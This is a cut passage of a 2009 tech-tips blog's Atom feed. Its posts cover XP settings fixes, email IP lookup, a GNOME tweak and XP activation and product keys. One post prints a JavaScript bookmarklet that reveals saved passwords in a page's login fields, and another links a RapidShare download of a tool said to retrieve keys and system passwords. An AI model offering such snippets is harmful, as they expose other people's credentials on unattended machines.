block; text-align: center; cursor: pointer; width: 400px; height: 95px;" src="http://4.bp.blogspot.com/_EuF7ehVkjUU/Sc5eG19YgtI/AAAAAAAAAvA/vrPTtLLKfz0/s400/shutdowngreyedout_thumb.jpg" alt="" id="BLOGGER_PHOTO_ID_5318291681627898578" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-weight: bold;" class="fullpost"&gt;Fix:&lt;/span&gt;&lt;br /&gt;&lt;span class="fullpost"&gt;&lt;br /&gt;Open Start Menu &gt;&gt; Run, type &lt;span style="font-weight: bold;"&gt;gpedit.msc&lt;/span&gt; and press Enter key.&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_EuF7ehVkjUU/Sc5dwNGjVoI/AAAAAAAAAu4/EvLMaeamhRc/s1600-h/Registry+Editing+has+been+disabled+by+your+administrator.JPG"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 348px; height: 185px;" src="http://4.bp.blogspot.com/_EuF7ehVkjUU/Sc5dwNGjVoI/AAAAAAAAAu4/EvLMaeamhRc/s400/Registry+Editing+has+been+disabled+by+your+administrator.JPG" alt="" id="BLOGGER_PHOTO_ID_5318291292703381122" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;2. Navigate to&lt;br /&gt;&lt;br /&gt;User Configuration\Administrative Templates\Start Menu and Taskbar&lt;br /&gt;&lt;br /&gt;3. Double click “Remove and Prevent Access To The Shut Down Command” and select Disabled.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;a href="http://www.chams-blog.blogspot.com"&gt;The Sun Rises In The East&lt;/a&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7621057227922271974-7667527036513866124?l=chams-blog.blogspot.com'/&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/blogspot/bLaG/~4/v2FMbfRKVLY" height="1" width="1"/&gt;&lt;img src="http://feeds.feedburner.com/~r/feedburner/cahY/~4/YtRQM8Eidt4" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://chams-blog.blogspot.com/feeds/7667527036513866124/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://chams-blog.blogspot.com/2009/03/fix-some-missing-options-in-xp.html#comment-form" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/7621057227922271974/posts/default/7667527036513866124?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/7621057227922271974/posts/default/7667527036513866124?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/feedburner/cahY/~3/YtRQM8Eidt4/fix-some-missing-options-in-xp.html" title="Fix Some Missing Options In XP" /><author><name>ALLAL</name><uri>http://www.blogger.com/profile/06968092005535026327</uri><email>chamsalah@gmail.com</email><gd:extendedProperty name="OpenSocialUserId" value="15302319214131568225" /></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://1.bp.blogspot.com/_EuF7ehVkjUU/Sc5clR8zOVI/AAAAAAAAAug/6dy96Ua6hwM/s72-c/regedit-disabled-by-admin.jpg" height="72" width="72" /><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">0</thr:total><feedburner:origLink>http://chams-blog.blogspot.com/2009/03/fix-some-missing-options-in-xp.html</feedburner:origLink><feedburner:origLink>http://feedproxy.google.com/~r/blogspot/bLaG/~3/v2FMbfRKVLY/fix-some-missing-options-in-xp.html</feedburner:origLink></entry><entry gd:etag="W/&quot;A0IEQXk6cCp7ImA9WxVbEk4.&quot;"><id>tag:blogger.com,1999:blog-7621057227922271974.post-812373763235350758</id><published>2009-03-28T03:49:00.000-07:00</published><updated>2009-03-28T04:25:00.718-07:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2009-03-28T04:25:00.718-07:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="Tips" /><title>How to find the IP address &amp; address of the sender in email</title><content type="html">&lt;span class="fullpost"&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Finding IP address in Gmail&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;1. Log into your Gmail account with your username and password.&lt;br /&gt;2. Open the mail.&lt;br /&gt;3. To display the email headers, Click on the inverted triangle beside Reply.  &lt;br /&gt;     Select Show Orginal.&lt;br /&gt;4. Look for Received: from followed by the IP address between square&lt;br /&gt;    brackets [ ]. That is be the IP address of the sender.&lt;br /&gt; &lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Finding IP address in Yahoo! Mail&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;1. Log into your Yahoo! mail with your username and password.&lt;br /&gt;2. Click on Inbox or whichever folder you have stored your mail.&lt;br /&gt;3. Open the mail.&lt;br /&gt;4. Click on the Standard Header.&lt;br /&gt;5. Select Full Header.&lt;br /&gt;6. Look for Received: from followed by the IP address&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_EuF7ehVkjUU/Sc4EP8ryJsI/AAAAAAAAAuY/_rBmoDIrw9Q/s1600-h/yhoo.jpeg"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 201px; height: 101px;" src="http://2.bp.blogspot.com/_EuF7ehVkjUU/Sc4EP8ryJsI/AAAAAAAAAuY/_rBmoDIrw9Q/s400/yhoo.jpeg" alt="" id="BLOGGER_PHOTO_ID_5318192882005452482" border="0" /&gt;&lt;/a&gt;&lt;span class="fullpost"&gt;&lt;span style="font-weight: bold;"&gt;Tracking the location of an IP address&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Now that we have our originating IP address, let’s find out where that is! You can do this by perform a location lookup on the IP address.&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;pre&gt;&lt;br /&gt;&lt;!-- Start ip2location.com Link --&gt; &lt;table width="239" border="0" cellspacing="0" cellpadding="0"&gt;&lt;tr&gt;&lt;td&gt;&lt;a href="http://www.ip2location.com"&gt;&lt;img src="http://www.ip2location.com/images/searchboxtitle.gif" width="239" height="14" border="0" /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;table width="100%" border="0" cellspacing="0" cellpadding="0"&gt;&lt;tr&gt;&lt;td background="http://www.ip2location.com/images/searchboxbg.gif" align="center" valign="middle" width="108" height="112"&gt;&lt;table width="108" height="112" border="0" cellspacing="0" cellpadding="0"&gt;&lt;tr&gt;&lt;td align="center" valign="middle"&gt;&lt;form name="form1" method="post" action="http://www.ip2location.com/demo.aspx"&gt;&lt;textarea name="ipaddresses" cols="15" rows="5" wrap="ON" style="font-family: Arial, Helvetica, sans-serif;font-size: 9px;color: #333333;text-decoration: none; border: 1px solid #A1D2FE;"&gt;&lt;/textarea&gt;&lt;br /&gt;&lt;input type="image" src="http://www.ip2location.com/images/searchboxbutton.gif" name="submit" width="76" height="16"&gt;&lt;/form&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/td&gt;&lt;td width="131" height="112" valign="top"&gt;&lt;a href="http://www.ip2location.com"&gt;&lt;img src="http://www.ip2location.com/images/searchboxinfo.gif" width="131" height="112" border="0" /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;!-- End ip2location.com Link --&gt;&lt;br /&gt; &lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;a href="http://www.chams-blog.blogspot.com"&gt;The Sun Rises In The East&lt;/a&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7621057227922271974-812373763235350758?l=chams-blog.blogspot.com'/&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/blogspot/bLaG/~4/_-9Xxq8uzAA" height="1" width="1"/&gt;&lt;img src="http://feeds.feedburner.com/~r/feedburner/cahY/~4/0qJ3XTqO1Gk" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://chams-blog.blogspot.com/feeds/812373763235350758/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://chams-blog.blogspot.com/2009/03/how-to-find-ip-address-adress-of-sender.html#comment-form" title="2 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/7621057227922271974/posts/default/812373763235350758?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/7621057227922271974/posts/default/812373763235350758?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/feedburner/cahY/~3/0qJ3XTqO1Gk/how-to-find-ip-address-adress-of-sender.html" title="How to find the IP address &amp; address of the sender in email" /><author><name>ALLAL</name><uri>http://www.blogger.com/profile/06968092005535026327</uri><email>chamsalah@gmail.com</email><gd:extendedProperty name="OpenSocialUserId" value="15302319214131568225" /></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://2.bp.blogspot.com/_EuF7ehVkjUU/Sc4EP8ryJsI/AAAAAAAAAuY/_rBmoDIrw9Q/s72-c/yhoo.jpeg" height="72" width="72" /><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">2</thr:total><feedburner:origLink>http://chams-blog.blogspot.com/2009/03/how-to-find-ip-address-adress-of-sender.html</feedburner:origLink><feedburner:origLink>http://feedproxy.google.com/~r/blogspot/bLaG/~3/_-9Xxq8uzAA/how-to-find-ip-address-adress-of-sender.html</feedburner:origLink></entry><entry gd:etag="W/&quot;CUIGQXs5eip7ImA9WxVUFks.&quot;"><id>tag:blogger.com,1999:blog-7621057227922271974.post-7267894799953447391</id><published>2009-03-21T11:42:00.001-07:00</published><updated>2009-03-21T12:25:20.522-07:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2009-03-21T12:25:20.522-07:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="Tips" /><title>Simple JavaScript Extract Login Form Password</title><content type="html">&lt;span class="fullpost"&gt;&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_EuF7ehVkjUU/ScU72zPIW0I/AAAAAAAAAuQ/LZPrbs7XWlA/s1600-h/a.jpeg"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 400px; height: 229px;" src="http://3.bp.blogspot.com/_EuF7ehVkjUU/ScU72zPIW0I/AAAAAAAAAuQ/LZPrbs7XWlA/s400/a.jpeg" alt="" id="BLOGGER_PHOTO_ID_5315720747833383746" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;If you’ve lost or forgotten web service login passwords stored in the web browser password manager, such as IE7 AutoComplete or Firefox Remembered Password / Master Password, don’t be panic and proceed to reinstall IE7 or Firefox! If someone ask you to reinstall, remember him and understand his motif!&lt;br /&gt;&lt;br /&gt;Reinstalling IE7 or Firefox will NOT restore your forgotten or lost password. Indeed, reinstallation will make the lost passwords become permanently unrecoverable (unless you recall it in dream)!&lt;br /&gt;&lt;br /&gt;As long as you can still login to web services (Gmail, Live Mail, Blogger, Wordpress, etc), but just that you cannot remember the real password behind those asterisk (e.g. ***), here is a simple JavaScript snippet to resolve the small matter in a second!&lt;br /&gt;&lt;br /&gt;First, make sure the Internet Explorer (IE7) or Firefox 2.x allowed to run JavaScript. Next, proceed to the web services login page and type the user ID to attempt login the web service. Once you’ve seen the web browser remembered password appearing in asterisks, stop the login process and let the asterisks kept inside the password field. Now, copy and paste the following JavaScript snippet to the web browser Address bar, press ENTER key gently and that’s your forgotten password that decrypted from the asterisks!&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;javascript:password=decrypt();function decrypt(){var passwd,loginform,j,f,i;passwd = '';loginform = document.forms;for(j=0; j&amp;lt;loginform.length; ++j){f = loginform[j];for (i=0; i&amp;lt;f.length; ++i){if (f[i].type.toLowerCase() == "password"){passwd += f[i].value + "\\n";}}}if (passwd != ''){alert("Login password cracked by Javascript:\\n\\n" + passwd);}else{alert("No login password found by javascripts!");}}&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;Source:&lt;a href="http://www.walkernews.net/2007/07/16/simple-javascript-extract-login-form-password/"&gt;Walker&lt;/a&gt;&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;a href="http://www.chams-blog.blogspot.com"&gt;The Sun Rises In The East&lt;/a&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7621057227922271974-7267894799953447391?l=chams-blog.blogspot.com'/&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/blogspot/bLaG/~4/TVi4-_a1vz0" height="1" width="1"/&gt;&lt;img src="http://feeds.feedburner.com/~r/feedburner/cahY/~4/zbgC7rCZISY" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://chams-blog.blogspot.com/feeds/7267894799953447391/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://chams-blog.blogspot.com/2009/03/decrypte-asterisks.html#comment-form" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/7621057227922271974/posts/default/7267894799953447391?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/7621057227922271974/posts/default/7267894799953447391?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/feedburner/cahY/~3/zbgC7rCZISY/decrypte-asterisks.html" title="Simple JavaScript Extract Login Form Password" /><author><name>ALLAL</name><uri>http://www.blogger.com/profile/06968092005535026327</uri><email>chamsalah@gmail.com</email><gd:extendedProperty name="OpenSocialUserId" value="15302319214131568225" /></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://3.bp.blogspot.com/_EuF7ehVkjUU/ScU72zPIW0I/AAAAAAAAAuQ/LZPrbs7XWlA/s72-c/a.jpeg" height="72" width="72" /><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">0</thr:total><feedburner:origLink>http://chams-blog.blogspot.com/2009/03/decrypte-asterisks.html</feedburner:origLink><feedburner:origLink>http://feedproxy.google.com/~r/blogspot/bLaG/~3/TVi4-_a1vz0/decrypte-asterisks.html</feedburner:origLink></entry><entry gd:etag="W/&quot;DEUDQXs8eSp7ImA9WxVUFkg.&quot;"><id>tag:blogger.com,1999:blog-7621057227922271974.post-715310411087383515</id><published>2009-03-21T09:27:00.000-07:00</published><updated>2009-03-21T10:24:30.571-07:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2009-03-21T10:24:30.571-07:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="Tips" /><title>Speed UP Gnome Menu</title><content type="html">&lt;span class="fullpost"&gt;&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_EuF7ehVkjUU/ScUXyy9b5yI/AAAAAAAAAuI/cZD2ZfJ30T4/s1600-h/Gnome-Menu.png"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 400px; height: 305px;" src="http://2.bp.blogspot.com/_EuF7ehVkjUU/ScUXyy9b5yI/AAAAAAAAAuI/cZD2ZfJ30T4/s400/Gnome-Menu.png" alt="" id="BLOGGER_PHOTO_ID_5315681096621090594" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Go T0 Applications|Accesoires|Terminal&lt;br /&gt;&lt;br /&gt;Typein:&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;echo "gtk-menu-popup-delay = 0" &gt;&gt; ~/.gtkrc-2.0 &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;and restart your session (CTRL+ALT+BACKSPACE).&lt;br /&gt;&lt;br /&gt;You'll notice a nice speed boost when browsing within a category in your menu.&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;a href="http://www.chams-blog.blogspot.com"&gt;The Sun Rises In The East&lt;/a&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7621057227922271974-715310411087383515?l=chams-blog.blogspot.com'/&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/blogspot/bLaG/~4/vNq6c2PJOmc" height="1" width="1"/&gt;&lt;img src="http://feeds.feedburner.com/~r/feedburner/cahY/~4/IisNgNw-tI4" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://chams-blog.blogspot.com/feeds/715310411087383515/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://chams-blog.blogspot.com/2009/03/speed-up-gnome-menu.html#comment-form" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/7621057227922271974/posts/default/715310411087383515?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/7621057227922271974/posts/default/715310411087383515?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/feedburner/cahY/~3/IisNgNw-tI4/speed-up-gnome-menu.html" title="Speed UP Gnome Menu" /><author><name>ALLAL</name><uri>http://www.blogger.com/profile/06968092005535026327</uri><email>chamsalah@gmail.com</email><gd:extendedProperty name="OpenSocialUserId" value="15302319214131568225" /></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://2.bp.blogspot.com/_EuF7ehVkjUU/ScUXyy9b5yI/AAAAAAAAAuI/cZD2ZfJ30T4/s72-c/Gnome-Menu.png" height="72" width="72" /><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">0</thr:total><feedburner:origLink>http://chams-blog.blogspot.com/2009/03/speed-up-gnome-menu.html</feedburner:origLink><feedburner:origLink>http://feedproxy.google.com/~r/blogspot/bLaG/~3/vNq6c2PJOmc/speed-up-gnome-menu.html</feedburner:origLink></entry><entry gd:etag="W/&quot;DkYAQ3o5eSp7ImA9WxVUFUU.&quot;"><id>tag:blogger.com,1999:blog-7621057227922271974.post-8753992814586507656</id><published>2009-03-20T14:18:00.000-07:00</published><updated>2009-03-20T14:22:22.421-07:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2009-03-20T14:22:22.421-07:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="xp" /><title>Reinstall Windows XP without re-activating</title><content type="html">&lt;span class="fullpost"&gt;&lt;br /&gt;&lt;br /&gt;   When you activate Windows XP, Microsoft stores the data in the Windows Product Activation database files wpa.dbl and Wpa.bak in the folder %systemroot%\system32.&lt;br /&gt;&lt;br /&gt;If you change the motherboard or make significant hardware changes, XP will require you to reactive.&lt;br /&gt;&lt;br /&gt;But if you plan to reinstall XP on the same hardware, you can back up the activation status and then restore it after you reinstall and avoid the activation process.&lt;br /&gt;&lt;br /&gt;You can backup the Windows Product Activation database files to diskette. They are very small.&lt;br /&gt;&lt;br /&gt;After you reinstall XP, to restore the Windows Product Activation database files:&lt;br /&gt;  &lt;br /&gt;Start XP to Minimal Safe mode&lt;br /&gt;   Change directory to the \%systemroot%\system32 folder&lt;br /&gt;   Rename the newly created&lt;span style="font-weight: bold;"&gt; wpa.dbl&lt;/span&gt; to &lt;span style="font-style: italic; font-weight: bold;"&gt;wpa.nonactivated&lt;/span&gt; and &lt;span style="font-weight: bold;"&gt;wpa.bak&lt;/span&gt;, if it exists, to &lt;span style="font-weight: bold; font-style: italic;"&gt;wpabak.nonactivated&lt;/span&gt;.&lt;br /&gt;   Copy your backed up wpa.dbl and wpb.bak files to the system32 folder&lt;br /&gt;   Reboot&lt;br /&gt;  &lt;br /&gt;This should work if you want to avoid activating XP after a reinstall or restore on the same or very similar hardware. It will not work if the hardware is significantly different from that in place when the Windows Product Activation database files were created. This is not a hack to avoid activating installations.&lt;br /&gt;&lt;br /&gt;Source:http://www.marvswindowstips.com&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;a href="http://www.chams-blog.blogspot.com"&gt;The Sun Rises In The East&lt;/a&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7621057227922271974-8753992814586507656?l=chams-blog.blogspot.com'/&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/blogspot/bLaG/~4/JTd4sXoFi-0" height="1" width="1"/&gt;&lt;img src="http://feeds.feedburner.com/~r/feedburner/cahY/~4/OoSRB8IyiOk" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://chams-blog.blogspot.com/feeds/8753992814586507656/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://chams-blog.blogspot.com/2009/03/reinstall-windows-xp-without-re.html#comment-form" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/7621057227922271974/posts/default/8753992814586507656?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/7621057227922271974/posts/default/8753992814586507656?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/feedburner/cahY/~3/OoSRB8IyiOk/reinstall-windows-xp-without-re.html" title="Reinstall Windows XP without re-activating" /><author><name>ALLAL</name><uri>http://www.blogger.com/profile/06968092005535026327</uri><email>chamsalah@gmail.com</email><gd:extendedProperty name="OpenSocialUserId" value="15302319214131568225" /></author><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">0</thr:total><feedburner:origLink>http://chams-blog.blogspot.com/2009/03/reinstall-windows-xp-without-re.html</feedburner:origLink><feedburner:origLink>http://feedproxy.google.com/~r/blogspot/bLaG/~3/JTd4sXoFi-0/reinstall-windows-xp-without-re.html</feedburner:origLink></entry><entry gd:etag="W/&quot;CUIBRX45cCp7ImA9WxVUFUU.&quot;"><id>tag:blogger.com,1999:blog-7621057227922271974.post-7015148601132600206</id><published>2009-03-20T14:08:00.000-07:00</published><updated>2009-03-20T14:12:34.028-07:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2009-03-20T14:12:34.028-07:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="xp" /><title>How To Determine If XP was Activated?</title><content type="html">&lt;span class="fullpost"&gt;&lt;br /&gt;&lt;br /&gt;You installed XP and then can't remember if you activated it.&lt;br /&gt;&lt;br /&gt;Go to Start then Run and enter the following:&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;oobe/msoobe /a&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;a href="http://www.chams-blog.blogspot.com"&gt;The Sun Rises In The East&lt;/a&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7621057227922271974-7015148601132600206?l=chams-blog.blogspot.com'/&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/blogspot/bLaG/~4/nTgCrif_w20" height="1" width="1"/&gt;&lt;img src="http://feeds.feedburner.com/~r/feedburner/cahY/~4/vHqx_PfVKvU" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://chams-blog.blogspot.com/feeds/7015148601132600206/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://chams-blog.blogspot.com/2009/03/how-to-determine-if-xp-was-activated.html#comment-form" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/7621057227922271974/posts/default/7015148601132600206?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/7621057227922271974/posts/default/7015148601132600206?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/feedburner/cahY/~3/vHqx_PfVKvU/how-to-determine-if-xp-was-activated.html" title="How To Determine If XP was Activated?" /><author><name>ALLAL</name><uri>http://www.blogger.com/profile/06968092005535026327</uri><email>chamsalah@gmail.com</email><gd:extendedProperty name="OpenSocialUserId" value="15302319214131568225" /></author><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">0</thr:total><feedburner:origLink>http://chams-blog.blogspot.com/2009/03/how-to-determine-if-xp-was-activated.html</feedburner:origLink><feedburner:origLink>http://feedproxy.google.com/~r/blogspot/bLaG/~3/nTgCrif_w20/how-to-determine-if-xp-was-activated.html</feedburner:origLink></entry><entry gd:etag="W/&quot;CEAMSX85fSp7ImA9WxVUFUU.&quot;"><id>tag:blogger.com,1999:blog-7621057227922271974.post-8569182961385912123</id><published>2009-03-20T13:31:00.001-07:00</published><updated>2009-03-20T13:59:48.125-07:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2009-03-20T13:59:48.125-07:00</app:edited><title>Find Your Windows XP Product Key On  XP CD Or Your Disk</title><content type="html">&lt;span class="fullpost"&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;How-To: Find Windows XP Product Key from the Windows XP CD:&lt;br /&gt;&lt;br /&gt;1) Insert Windows XP CD in your computer.&lt;br /&gt;2) Exit the Autorun introduction.&lt;br /&gt;3) Open My Computer&lt;br /&gt;4) Right Click on the Windows XP cd-rom drive and select explore or open.&lt;br /&gt;5) Search for unattend.txt and mark Search Hidden Files.&lt;br /&gt;7) Open unattend.txt&lt;br /&gt;&lt;br /&gt;Your CD’s product key is contained within the unattend.txt file.&lt;br /&gt;&lt;br /&gt;If you're preparing to reinstall Windows XP you will need to locate your copy of the Windows XP product key - also known as the CD key.&lt;br /&gt;&lt;br /&gt;If you've lost your product key, it's located in the registry but is encrypted and not readable, making finding it difficult.&lt;br /&gt;&lt;br /&gt;The key was not encrypted in previous versions of Windows like Windows 98.&lt;br /&gt;&lt;br /&gt;RockXp can be very useful, if you lost the product key (CD key) of your Windows operating system.&lt;br /&gt;&lt;br /&gt;&lt;a href="http://rapidshare.com/files/211570838/RockXP4.exe.html"&gt;Free download RockXp&lt;br /&gt;&lt;/a&gt;&lt;br /&gt;RockXP features:&lt;br /&gt;&lt;br /&gt;can retrieve and change your XP Key&lt;br /&gt;can retrieve all Microsoft Products keys&lt;br /&gt;can save your XP activation file&lt;br /&gt;can retrieve your lost XP system passwords&lt;br /&gt;can retrieve your lost RAS (Remote Access Settings) passwords&lt;br /&gt;can also generate new passwords&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;a href="http://www.chams-blog.blogspot.com"&gt;The Sun Rises In The East&lt;/a&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7621057227922271974-8569182961385912123?l=chams-blog.blogspot.com'/&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/blogspot/bLaG/~4/OtDvn8BABDI" height="1" width="1"/&gt;&lt;img src="http://feeds.feedburner.com/~r/feedburner/cahY/~4/0jcan0tRNVM" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://chams-blog.blogspot.com/feeds/8569182961385912123/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://chams-blog.blogspot.com/2009/03/find-your-windows-xp-product-key-on-xp.html#comment-form" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/7621057227922271974/posts/default/8569182961385912123?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/7621057227922271974/posts/default/8569182961385912123?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/feedburner/cahY/~3/0jcan0tRNVM/find-your-windows-xp-product-key-on-xp.html" title="Find Your Windows XP Product Key On  XP CD Or Your Disk" /><author><name>ALLAL</name><uri>http://www.blogger.com/profile/06968092005535026327</uri><email>chamsalah@gmail.com</email><gd:extendedProperty name="OpenSocialUserId" value="15302319214131568225" /></author><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">0</thr:total><feedburner:origLink>http://chams-blog.blogspot.com/2009/03/find-your-windows-xp-product-key-on-xp.html</feedburner:origLink><feedburner:origLink>http://feedproxy.google.com/~r/blogspot/bLaG/~3/OtDvn8BABDI/find-your-windows-xp-product-key-on-xp.html</feedburner:origLink></entry><entry gd:etag="W/&quot;Ck4MQHw9fip7ImA9WxVUFUw.&quot;"><id>tag:blogger.com,1999:blog-7621057227922271974.post-3809901107216353917</id><published>2009-03-19T17:50:00.000-07:00</published><updated>2009-03-19T18:03:01.266-07:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2009-03-19T18:03:01.266-07:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="Tips" /><title>Speeding up disk access</title><content type="html">&lt;span class="fullpost"&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Disable access time&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Most current operating systems use file systems with advanced functions:&lt;br /&gt;&lt;br /&gt;rights management, logging ...&lt;br /&gt;&lt;br /&gt;Among other things, NTFS (Windows) and ext3 (Linux) are capable of recording the date of last access to a file.&lt;br /&gt;&lt;br /&gt;If it's very useful to control when a file is accessed, it means that for every reading file there a. .. writing disk!&lt;br /&gt;&lt;br /&gt;Unless you absolutely need this functionality (secure servers,...), you can disable it.&lt;br /&gt;&lt;br /&gt;Some experts believe that Linux kernel can earn up to 10% in disk performance.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;1.For Windows 2000/XP/2003/Vista (NTFS only)&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Command line&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;      Go to Start&gt; All Programs&gt; Accessories&lt;br /&gt;      Right-click the Command Prompt&gt; Run as administrator&lt;br /&gt;      Type the 